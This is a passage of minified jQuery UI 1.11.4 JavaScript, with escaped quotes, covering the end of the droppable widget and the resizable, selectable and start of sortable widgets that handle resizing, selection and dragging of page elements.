e(this).droppable(\"instance\").options.scope===n}),o.length&&(s=e(o[0]).droppable(\"instance\"),s.greedyChild=\"isover\"===r)),s&&\"isover\"===r&&(s.isover=!1,s.isout=!0,s._out.call(s,i)),this[r]=!0,this[\"isout\"===r?\"isover\":\"isout\"]=!1,this[\"isover\"===r?\"_over\":\"_out\"].call(this,i),s&&\"isout\"===r&&(s.isout=!1,s.isover=!0,s._over.call(s,i)))}})},dragStop:function(t,i){t.element.parentsUntil(\"body\").unbind(\"scroll.droppable\"),t.options.refreshPositions||e.ui.ddmanager.prepareOffsets(t,i)}},e.ui.droppable,e.widget(\"ui.resizable\",e.ui.mouse,{version:\"1.11.4\",widgetEventPrefix:\"resize\",options:{alsoResize:!1,animate:!1,animateDuration:\"slow\",animateEasing:\"swing\",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:\"e,s,se\",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(e){return parseInt(e,10)||0},_isNumber:function(e){return!isNaN(parseInt(e,10))},_hasScroll:function(t,i){if(\"hidden\"===e(t).css(\"overflow\"))return!1;var s=i&&\"left\"===i?\"scrollLeft\":\"scrollTop\",n=!1;return t[s]>0?!0:(t[s]=1,n=t[s]>0,t[s]=0,n)},_create:function(){var t,i,s,n,o,a=this,r=this.options;if(this.element.addClass(\"ui-resizable\"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||\"ui-resizable-helper\":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(e(\"<div class='ui-wrapper' style='overflow: hidden;'></div>\").css({position:this.element.css(\"position\"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css(\"top\"),left:this.element.css(\"left\")})),this.element=this.element.parent().data(\"ui-resizable\",this.element.resizable(\"instance\")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css(\"marginLeft\"),marginTop:this.originalElement.css(\"marginTop\"),marginRight:this.originalElement.css(\"marginRight\"),marginBottom:this.originalElement.css(\"marginBottom\")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css(\"resize\"),this.originalElement.css(\"resize\",\"none\"),this._proportionallyResizeElements.push(this.originalElement.css({position:\"static\",zoom:1,display:\"block\"})),this.originalElement.css({margin:this.originalElement.css(\"margin\")}),this._proportionallyResize()),this.handles=r.handles||(e(\".ui-resizable-handle\",this.element).length?{n:\".ui-resizable-n\",e:\".ui-resizable-e\",s:\".ui-resizable-s\",w:\".ui-resizable-w\",se:\".ui-resizable-se\",sw:\".ui-resizable-sw\",ne:\".ui-resizable-ne\",nw:\".ui-resizable-nw\"}:\"e,s,se\"),this._handles=e(),this.handles.constructor===String)for(\"all\"===this.handles&&(this.handles=\"n,e,s,w,se,sw,ne,nw\"),t=this.handles.split(\",\"),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),o=\"ui-resizable-\"+s,n=e(\"<div class='ui-resizable-handle \"+o+\"'></div>\"),n.css({zIndex:r.zIndex}),\"se\"===s&&n.addClass(\"ui-icon ui-icon-gripsmall-diagonal-se\"),this.handles[s]=\".ui-resizable-\"+s,this.element.append(n);this._renderAxis=function(t){var i,s,n,o;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=e(this.handles[i]),this._on(this.handles[i],{mousedown:a._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(s=e(this.handles[i],this.element),o=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=[\"padding\",/ne|nw|n/.test(i)?\"Top\":/se|sw|s/.test(i)?\"Bottom\":/^e$/.test(i)?\"Right\":\"Left\"].join(\"\"),t.css(n,o),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(\".ui-resizable-handle\")),this._handles.disableSelection(),this._handles.mouseover(function(){a.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),a.axis=n&&n[1]?n[1]:\"se\")}),r.autoHide&&(this._handles.hide(),e(this.element).addClass(\"ui-resizable-autohide\").mouseenter(function(){r.disabled||(e(this).removeClass(\"ui-resizable-autohide\"),a._handles.show())}).mouseleave(function(){r.disabled||a.resizing||(e(this).addClass(\"ui-resizable-autohide\"),a._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,i=function(t){e(t).removeClass(\"ui-resizable ui-resizable-disabled ui-resizable-resizing\").removeData(\"resizable\").removeData(\"ui-resizable\").unbind(\".resizable\").find(\".ui-resizable-handle\").remove()};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css(\"position\"),width:t.outerWidth(),height:t.outerHeight(),top:t.css(\"top\"),left:t.css(\"left\")}).insertAfter(t),t.remove()),this.originalElement.css(\"resize\",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(t){var i,s,n=!1;for(i in this.handles)s=e(this.handles[i])[0],(s===t.target||e.contains(s,t.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(t){var i,s,n,o=this.options,a=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css(\"left\")),s=this._num(this.helper.css(\"top\")),o.containment&&(i+=e(o.containment).scrollLeft()||0,s+=e(o.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:a.width(),height:a.height()},this.originalSize=this._helper?{width:a.outerWidth(),height:a.outerHeight()}:{width:a.width(),height:a.height()},this.sizeDiff={width:a.outerWidth()-a.width(),height:a.outerHeight()-a.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio=\"number\"==typeof o.aspectRatio?o.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=e(\".ui-resizable-\"+this.axis).css(\"cursor\"),e(\"body\").css(\"cursor\",\"auto\"===n?this.axis+\"-resize\":n),a.addClass(\"ui-resizable-resizing\"),this._propagate(\"start\",t),!0},_mouseDrag:function(t){var i,s,n=this.originalMousePosition,o=this.axis,a=t.pageX-n.left||0,r=t.pageY-n.top||0,h=this._change[o];return this._updatePrevProperties(),h?(i=h.apply(this,[t,a,r]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate(\"resize\",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger(\"resize\",t,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(t){this.resizing=!1;var i,s,n,o,a,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],\"left\")?0:u.sizeDiff.height,o=s?0:u.sizeDiff.width,a={width:u.helper.width()-o,height:u.helper.height()-n},r=parseInt(u.element.css(\"left\"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css(\"top\"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(e.extend(a,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),e(\"body\").css(\"cursor\",\"auto\"),this.element.removeClass(\"ui-resizable-resizing\"),this._propagate(\"stop\",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var e={};return this.position.top!==this.prevPosition.top&&(e.top=this.position.top+\"px\"),this.position.left!==this.prevPosition.left&&(e.left=this.position.left+\"px\"),this.size.width!==this.prevSize.width&&(e.width=this.size.width+\"px\"),this.size.height!==this.prevSize.height&&(e.height=this.size.height+\"px\"),this.helper.css(e),e},_updateVirtualBoundaries:function(e){var t,i,s,n,o,a=this.options;o={minWidth:this._isNumber(a.minWidth)?a.minWidth:0,maxWidth:this._isNumber(a.maxWidth)?a.maxWidth:1/0,minHeight:this._isNumber(a.minHeight)?a.minHeight:0,maxHeight:this._isNumber(a.maxHeight)?a.maxHeight:1/0},(this._aspectRatio||e)&&(t=o.minHeight*this.aspectRatio,s=o.minWidth/this.aspectRatio,i=o.maxHeight*this.aspectRatio,n=o.maxWidth/this.aspectRatio,t>o.minWidth&&(o.minWidth=t),s>o.minHeight&&(o.minHeight=s),o.maxWidth>i&&(o.maxWidth=i),o.maxHeight>n&&(o.maxHeight=n)),this._vBoundaries=o},_updateCache:function(e){this.offset=this.helper.offset(),this._isNumber(e.left)&&(this.position.left=e.left),this._isNumber(e.top)&&(this.position.top=e.top),this._isNumber(e.height)&&(this.size.height=e.height),this._isNumber(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,i=this.size,s=this.axis;return this._isNumber(e.height)?e.width=e.height*this.aspectRatio:this._isNumber(e.width)&&(e.height=e.width/this.aspectRatio),\"sw\"===s&&(e.left=t.left+(i.width-e.width),e.top=null),\"nw\"===s&&(e.top=t.top+(i.height-e.height),e.left=t.left+(i.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,i=this.axis,s=this._isNumber(e.width)&&t.maxWidth&&t.maxWidth<e.width,n=this._isNumber(e.height)&&t.maxHeight&&t.maxHeight<e.height,o=this._isNumber(e.width)&&t.minWidth&&t.minWidth>e.width,a=this._isNumber(e.height)&&t.minHeight&&t.minHeight>e.height,r=this.originalPosition.left+this.originalSize.width,h=this.position.top+this.size.height,l=/sw|nw|w/.test(i),u=/nw|ne|n/.test(i);return o&&(e.width=t.minWidth),a&&(e.height=t.minHeight),s&&(e.width=t.maxWidth),n&&(e.height=t.maxHeight),o&&l&&(e.left=r-t.minWidth),s&&l&&(e.left=r-t.maxWidth),a&&u&&(e.top=h-t.minHeight),n&&u&&(e.top=h-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_getPaddingPlusBorderDimensions:function(e){for(var t=0,i=[],s=[e.css(\"borderTopWidth\"),e.css(\"borderRightWidth\"),e.css(\"borderBottomWidth\"),e.css(\"borderLeftWidth\")],n=[e.css(\"paddingTop\"),e.css(\"paddingRight\"),e.css(\"paddingBottom\"),e.css(\"paddingLeft\")];4>t;t++)i[t]=parseInt(s[t],10)||0,i[t]+=parseInt(n[t],10)||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e,t=0,i=this.helper||this.element;this._proportionallyResizeElements.length>t;t++)e=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(e)),e.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e(\"<div style='overflow:hidden;'></div>\"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:\"absolute\",left:this.elementOffset.left+\"px\",top:this.elementOffset.top+\"px\",zIndex:++i.zIndex}),this.helper.appendTo(\"body\").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize,s=this.originalPosition;return{left:s.left+t,width:i.width-t}},n:function(e,t,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},sw:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,s]))},ne:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},nw:function(t,i,s){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,s]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),\"resize\"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add(\"resizable\",\"animate\",{stop:function(t){var i=e(this).resizable(\"instance\"),s=i.options,n=i._proportionallyResizeElements,o=n.length&&/textarea/i.test(n[0].nodeName),a=o&&i._hasScroll(n[0],\"left\")?0:i.sizeDiff.height,r=o?0:i.sizeDiff.width,h={width:i.size.width-r,height:i.size.height-a},l=parseInt(i.element.css(\"left\"),10)+(i.position.left-i.originalPosition.left)||null,u=parseInt(i.element.css(\"top\"),10)+(i.position.top-i.originalPosition.top)||null;i.element.animate(e.extend(h,u&&l?{top:u,left:l}:{}),{duration:s.animateDuration,easing:s.animateEasing,step:function(){var s={width:parseInt(i.element.css(\"width\"),10),height:parseInt(i.element.css(\"height\"),10),top:parseInt(i.element.css(\"top\"),10),left:parseInt(i.element.css(\"left\"),10)};n&&n.length&&e(n[0]).css({width:s.width,height:s.height}),i._updateCache(s),i._propagate(\"resize\",t)}})}}),e.ui.plugin.add(\"resizable\",\"containment\",{start:function(){var t,i,s,n,o,a,r,h=e(this).resizable(\"instance\"),l=h.options,u=h.element,c=l.containment,d=c instanceof e?c.get(0):/parent/.test(c)?u.parent().get(0):c;d&&(h.containerElement=e(d),/document/.test(c)||c===document?(h.containerOffset={left:0,top:0},h.containerPosition={left:0,top:0},h.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(t=e(d),i=[],e([\"Top\",\"Right\",\"Left\",\"Bottom\"]).each(function(e,s){i[e]=h._num(t.css(\"padding\"+s))}),h.containerOffset=t.offset(),h.containerPosition=t.position(),h.containerSize={height:t.innerHeight()-i[3],width:t.innerWidth()-i[1]},s=h.containerOffset,n=h.containerSize.height,o=h.containerSize.width,a=h._hasScroll(d,\"left\")?d.scrollWidth:o,r=h._hasScroll(d)?d.scrollHeight:n,h.parentData={element:d,left:s.left,top:s.top,width:a,height:r}))},resize:function(t){var i,s,n,o,a=e(this).resizable(\"instance\"),r=a.options,h=a.containerOffset,l=a.position,u=a._aspectRatio||t.shiftKey,c={top:0,left:0},d=a.containerElement,p=!0;d[0]!==document&&/static/.test(d.css(\"position\"))&&(c=h),l.left<(a._helper?h.left:0)&&(a.size.width=a.size.width+(a._helper?a.position.left-h.left:a.position.left-c.left),u&&(a.size.height=a.size.width/a.aspectRatio,p=!1),a.position.left=r.helper?h.left:0),l.top<(a._helper?h.top:0)&&(a.size.height=a.size.height+(a._helper?a.position.top-h.top:a.position.top),u&&(a.size.width=a.size.height*a.aspectRatio,p=!1),a.position.top=a._helper?h.top:0),n=a.containerElement.get(0)===a.element.parent().get(0),o=/relative|absolute/.test(a.containerElement.css(\"position\")),n&&o?(a.offset.left=a.parentData.left+a.position.left,a.offset.top=a.parentData.top+a.position.top):(a.offset.left=a.element.offset().left,a.offset.top=a.element.offset().top),i=Math.abs(a.sizeDiff.width+(a._helper?a.offset.left-c.left:a.offset.left-h.left)),s=Math.abs(a.sizeDiff.height+(a._helper?a.offset.top-c.top:a.offset.top-h.top)),i+a.size.width>=a.parentData.width&&(a.size.width=a.parentData.width-i,u&&(a.size.height=a.size.width/a.aspectRatio,p=!1)),s+a.size.height>=a.parentData.height&&(a.size.height=a.parentData.height-s,u&&(a.size.width=a.size.height*a.aspectRatio,p=!1)),p||(a.position.left=a.prevPosition.left,a.position.top=a.prevPosition.top,a.size.width=a.prevSize.width,a.size.height=a.prevSize.height)},stop:function(){var t=e(this).resizable(\"instance\"),i=t.options,s=t.containerOffset,n=t.containerPosition,o=t.containerElement,a=e(t.helper),r=a.offset(),h=a.outerWidth()-t.sizeDiff.width,l=a.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(o.css(\"position\"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l}),t._helper&&!i.animate&&/static/.test(o.css(\"position\"))&&e(this).css({left:r.left-n.left-s.left,width:h,height:l})}}),e.ui.plugin.add(\"resizable\",\"alsoResize\",{start:function(){var t=e(this).resizable(\"instance\"),i=t.options;e(i.alsoResize).each(function(){var t=e(this);t.data(\"ui-resizable-alsoresize\",{width:parseInt(t.width(),10),height:parseInt(t.height(),10),left:parseInt(t.css(\"left\"),10),top:parseInt(t.css(\"top\"),10)})})},resize:function(t,i){var s=e(this).resizable(\"instance\"),n=s.options,o=s.originalSize,a=s.originalPosition,r={height:s.size.height-o.height||0,width:s.size.width-o.width||0,top:s.position.top-a.top||0,left:s.position.left-a.left||0};e(n.alsoResize).each(function(){var t=e(this),s=e(this).data(\"ui-resizable-alsoresize\"),n={},o=t.parents(i.originalElement[0]).length?[\"width\",\"height\"]:[\"width\",\"height\",\"top\",\"left\"];e.each(o,function(e,t){var i=(s[t]||0)+(r[t]||0);i&&i>=0&&(n[t]=i||null)}),t.css(n)})},stop:function(){e(this).removeData(\"resizable-alsoresize\")}}),e.ui.plugin.add(\"resizable\",\"ghost\",{start:function(){var t=e(this).resizable(\"instance\"),i=t.options,s=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:\"block\",position:\"relative\",height:s.height,width:s.width,margin:0,left:0,top:0}).addClass(\"ui-resizable-ghost\").addClass(\"string\"==typeof i.ghost?i.ghost:\"\"),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).resizable(\"instance\");t.ghost&&t.ghost.css({position:\"relative\",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).resizable(\"instance\");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add(\"resizable\",\"grid\",{resize:function(){var t,i=e(this).resizable(\"instance\"),s=i.options,n=i.size,o=i.originalSize,a=i.originalPosition,r=i.axis,h=\"number\"==typeof s.grid?[s.grid,s.grid]:s.grid,l=h[0]||1,u=h[1]||1,c=Math.round((n.width-o.width)/l)*l,d=Math.round((n.height-o.height)/u)*u,p=o.width+c,f=o.height+d,m=s.maxWidth&&p>s.maxWidth,g=s.maxHeight&&f>s.maxHeight,v=s.minWidth&&s.minWidth>p,_=s.minHeight&&s.minHeight>f;s.grid=h,v&&(p+=l),_&&(f+=u),m&&(p-=l),g&&(f-=u),/^(se|s|e)$/.test(r)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.top=a.top-d):/^(sw)$/.test(r)?(i.size.width=p,i.size.height=f,i.position.left=a.left-c):((0>=f-u||0>=p-l)&&(t=i._getPaddingPlusBorderDimensions(this)),f-u>0?(i.size.height=f,i.position.top=a.top-d):(f=u-t.height,i.size.height=f,i.position.top=a.top+o.height-f),p-l>0?(i.size.width=p,i.position.left=a.left-c):(p=l-t.width,i.size.width=p,i.position.left=a.left+o.width-p))}}),e.ui.resizable,e.widget(\"ui.selectable\",e.ui.mouse,{version:\"1.11.4\",options:{appendTo:\"body\",autoRefresh:!0,distance:0,filter:\"*\",tolerance:\"touch\",selected:null,selecting:null,start:null,stop:null,unselected:null,unselecting:null},_create:function(){var t,i=this;\r\nthis.element.addClass(\"ui-selectable\"),this.dragged=!1,this.refresh=function(){t=e(i.options.filter,i.element[0]),t.addClass(\"ui-selectee\"),t.each(function(){var t=e(this),i=t.offset();e.data(this,\"selectable-item\",{element:this,$element:t,left:i.left,top:i.top,right:i.left+t.outerWidth(),bottom:i.top+t.outerHeight(),startselected:!1,selected:t.hasClass(\"ui-selected\"),selecting:t.hasClass(\"ui-selecting\"),unselecting:t.hasClass(\"ui-unselecting\")})})},this.refresh(),this.selectees=t.addClass(\"ui-selectee\"),this._mouseInit(),this.helper=e(\"<div class='ui-selectable-helper'></div>\")},_destroy:function(){this.selectees.removeClass(\"ui-selectee\").removeData(\"selectable-item\"),this.element.removeClass(\"ui-selectable ui-selectable-disabled\"),this._mouseDestroy()},_mouseStart:function(t){var i=this,s=this.options;this.opos=[t.pageX,t.pageY],this.options.disabled||(this.selectees=e(s.filter,this.element[0]),this._trigger(\"start\",t),e(s.appendTo).append(this.helper),this.helper.css({left:t.pageX,top:t.pageY,width:0,height:0}),s.autoRefresh&&this.refresh(),this.selectees.filter(\".ui-selected\").each(function(){var s=e.data(this,\"selectable-item\");s.startselected=!0,t.metaKey||t.ctrlKey||(s.$element.removeClass(\"ui-selected\"),s.selected=!1,s.$element.addClass(\"ui-unselecting\"),s.unselecting=!0,i._trigger(\"unselecting\",t,{unselecting:s.element}))}),e(t.target).parents().addBack().each(function(){var s,n=e.data(this,\"selectable-item\");return n?(s=!t.metaKey&&!t.ctrlKey||!n.$element.hasClass(\"ui-selected\"),n.$element.removeClass(s?\"ui-unselecting\":\"ui-selected\").addClass(s?\"ui-selecting\":\"ui-unselecting\"),n.unselecting=!s,n.selecting=s,n.selected=s,s?i._trigger(\"selecting\",t,{selecting:n.element}):i._trigger(\"unselecting\",t,{unselecting:n.element}),!1):void 0}))},_mouseDrag:function(t){if(this.dragged=!0,!this.options.disabled){var i,s=this,n=this.options,o=this.opos[0],a=this.opos[1],r=t.pageX,h=t.pageY;return o>r&&(i=r,r=o,o=i),a>h&&(i=h,h=a,a=i),this.helper.css({left:o,top:a,width:r-o,height:h-a}),this.selectees.each(function(){var i=e.data(this,\"selectable-item\"),l=!1;i&&i.element!==s.element[0]&&(\"touch\"===n.tolerance?l=!(i.left>r||o>i.right||i.top>h||a>i.bottom):\"fit\"===n.tolerance&&(l=i.left>o&&r>i.right&&i.top>a&&h>i.bottom),l?(i.selected&&(i.$element.removeClass(\"ui-selected\"),i.selected=!1),i.unselecting&&(i.$element.removeClass(\"ui-unselecting\"),i.unselecting=!1),i.selecting||(i.$element.addClass(\"ui-selecting\"),i.selecting=!0,s._trigger(\"selecting\",t,{selecting:i.element}))):(i.selecting&&((t.metaKey||t.ctrlKey)&&i.startselected?(i.$element.removeClass(\"ui-selecting\"),i.selecting=!1,i.$element.addClass(\"ui-selected\"),i.selected=!0):(i.$element.removeClass(\"ui-selecting\"),i.selecting=!1,i.startselected&&(i.$element.addClass(\"ui-unselecting\"),i.unselecting=!0),s._trigger(\"unselecting\",t,{unselecting:i.element}))),i.selected&&(t.metaKey||t.ctrlKey||i.startselected||(i.$element.removeClass(\"ui-selected\"),i.selected=!1,i.$element.addClass(\"ui-unselecting\"),i.unselecting=!0,s._trigger(\"unselecting\",t,{unselecting:i.element})))))}),!1}},_mouseStop:function(t){var i=this;return this.dragged=!1,e(\".ui-unselecting\",this.element[0]).each(function(){var s=e.data(this,\"selectable-item\");s.$element.removeClass(\"ui-unselecting\"),s.unselecting=!1,s.startselected=!1,i._trigger(\"unselected\",t,{unselected:s.element})}),e(\".ui-selecting\",this.element[0]).each(function(){var s=e.data(this,\"selectable-item\");s.$element.removeClass(\"ui-selecting\").addClass(\"ui-selected\"),s.selecting=!1,s.selected=!0,s.startselected=!0,i._trigger(\"selected\",t,{selected:s.element})}),this._trigger(\"stop\",t),this.helper.remove(),!1}}),e.widget(\"ui.sortable\",e.ui.mouse,{version:\"1.11.4\",widgetEventPrefix:\"sort\",ready:!1,options:{appendTo:\"parent\",axis:!1,connectWith:!1,containment:!1,cursor:\"auto\",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:\"original\",items:\"> *\",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:\"default\",tolerance:\"intersect\",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(e,t,i){return e>=t&&t+i>e},_isFloating:function(e){return/left|right/.test(e.css(\"float\"))||/inline|table-cell/.test(e.css(\"display\"))},_create:function(){this.containerCache={},this.element.addClass(\"ui-sortable\"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(e,t){this._super(e,t),\"handle\"===e&&this._setHandleClassName()},_setHandleClassName:function(){this.element.find(\".ui-sortable-handle\").removeClass(\"ui-sortable-handle\"),e.each(this.items,function(){(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item).addClass(\"ui-sortable-handle\")})},_destroy:function(){this.element.removeClass(\"ui-sortable ui-sortable-disabled\").find(\".ui-sortable-handle\").removeClass(\"ui-sortable-handle\"),this._mouseDestroy();for(var e=this.items.length-1;e>=0;e--)this.items[e].item.removeData(this.widgetName+\"-item\");return this},_mouseCapture:function(t,i){var s=null,n=!1,o=this;return this.reverting?!1:this.options.disabled||\"static\"===this.options.type?!1:(this._refreshItems(t),e(t.target).parents().each(function(){return e.data(this,o.widgetName+\"-item\")===o?(s=e(this),!1):void 0}),e.data(t.target,o.widgetName+\"-item\")===o&&(s=e(t.target)),s?!this.options.handle||i||(e(this.options.handle,s).find(\"*\").addBack().each(function(){this===t.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(t,i,s){var n,o,a=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(t),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},e.extend(this.offset,{click:{left:t.pageX-this.offset.left,top:t.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css(\"position\",\"absolute\"),this.cssPosition=this.helper.css(\"position\"),this.originalPosition=this._generatePosition(t),this.originalPageX=t.pageX,this.originalPageY=t.pageY,a.cursorAt&&this._adjustOffsetFromHelper(a.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),a.containment&&this._setContainment(),a.cursor&&\"auto\"!==a.cursor&&(o=this.document.find(\"body\"),this.storedCursor=o.css(\"cursor\"),o.css(\"cursor\",a.cursor),this.storedStylesheet=e(\"<style>*{ cursor: \"+a.cursor+\" !important; }</style>\").appendTo(o)),a.opacity&&(this.helper.css(\"opacity\")&&(this._storedOpacity=this.helper.css(\"opacity\")),this.helper.css(\"opacity\",a.opacity)),a.zIndex&&(this.helper.css(\"zIndex\")&&(this._storedZIndex=this.helper.css(\"zIndex\")),this.helper.css(\"zIndex\",a.zIndex)),this.scrollParent[0]!==this.document[0]&&\"HTML\"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger(\"start\",t,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger(\"activate\",t,this._uiHash(this));return e.ui.ddmanager&&(e.ui.ddmanager.current=this),e.ui.ddmanager&&!a.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this.dragging=!0,this.helper.addClass(\"ui-sortable-helper\"),this._mouseDrag(t),!0},_mouseDrag:function(t){var i,s,n,o,a=this.options,r=!1;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo(\"absolute\"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&\"HTML\"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<a.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+a.scrollSpeed:t.pageY-this.overflowOffset.top<a.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-a.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<a.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+a.scrollSpeed:t.pageX-this.overflowOffset.left<a.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-a.scrollSpeed)):(t.pageY-this.document.scrollTop()<a.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-a.scrollSpeed):this.window.height()-(t.pageY-this.document.scrollTop())<a.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+a.scrollSpeed)),t.pageX-this.document.scrollLeft()<a.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-a.scrollSpeed):this.window.width()-(t.pageX-this.document.scrollLeft())<a.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+a.scrollSpeed))),r!==!1&&e.ui.ddmanager&&!a.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)),this.positionAbs=this._convertPositionTo(\"absolute\"),this.options.axis&&\"y\"===this.options.axis||(this.helper[0].style.left=this.position.left+\"px\"),this.options.axis&&\"x\"===this.options.axis||(this.helper[0].style.top=this.position.top+\"px\"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],o=this._intersectsWithPointer(s),o&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===o?\"next\":\"prev\"]()[0]!==n&&!e.contains(this.placeholder[0],n)&&(\"semi-dynamic\"===this.options.type?!e.contains(this.element[0],n):!0)){if(this.direction=1===o?\"down\":\"up\",\"pointer\"!==this.options.tolerance&&!this._intersectsWithSides(s))br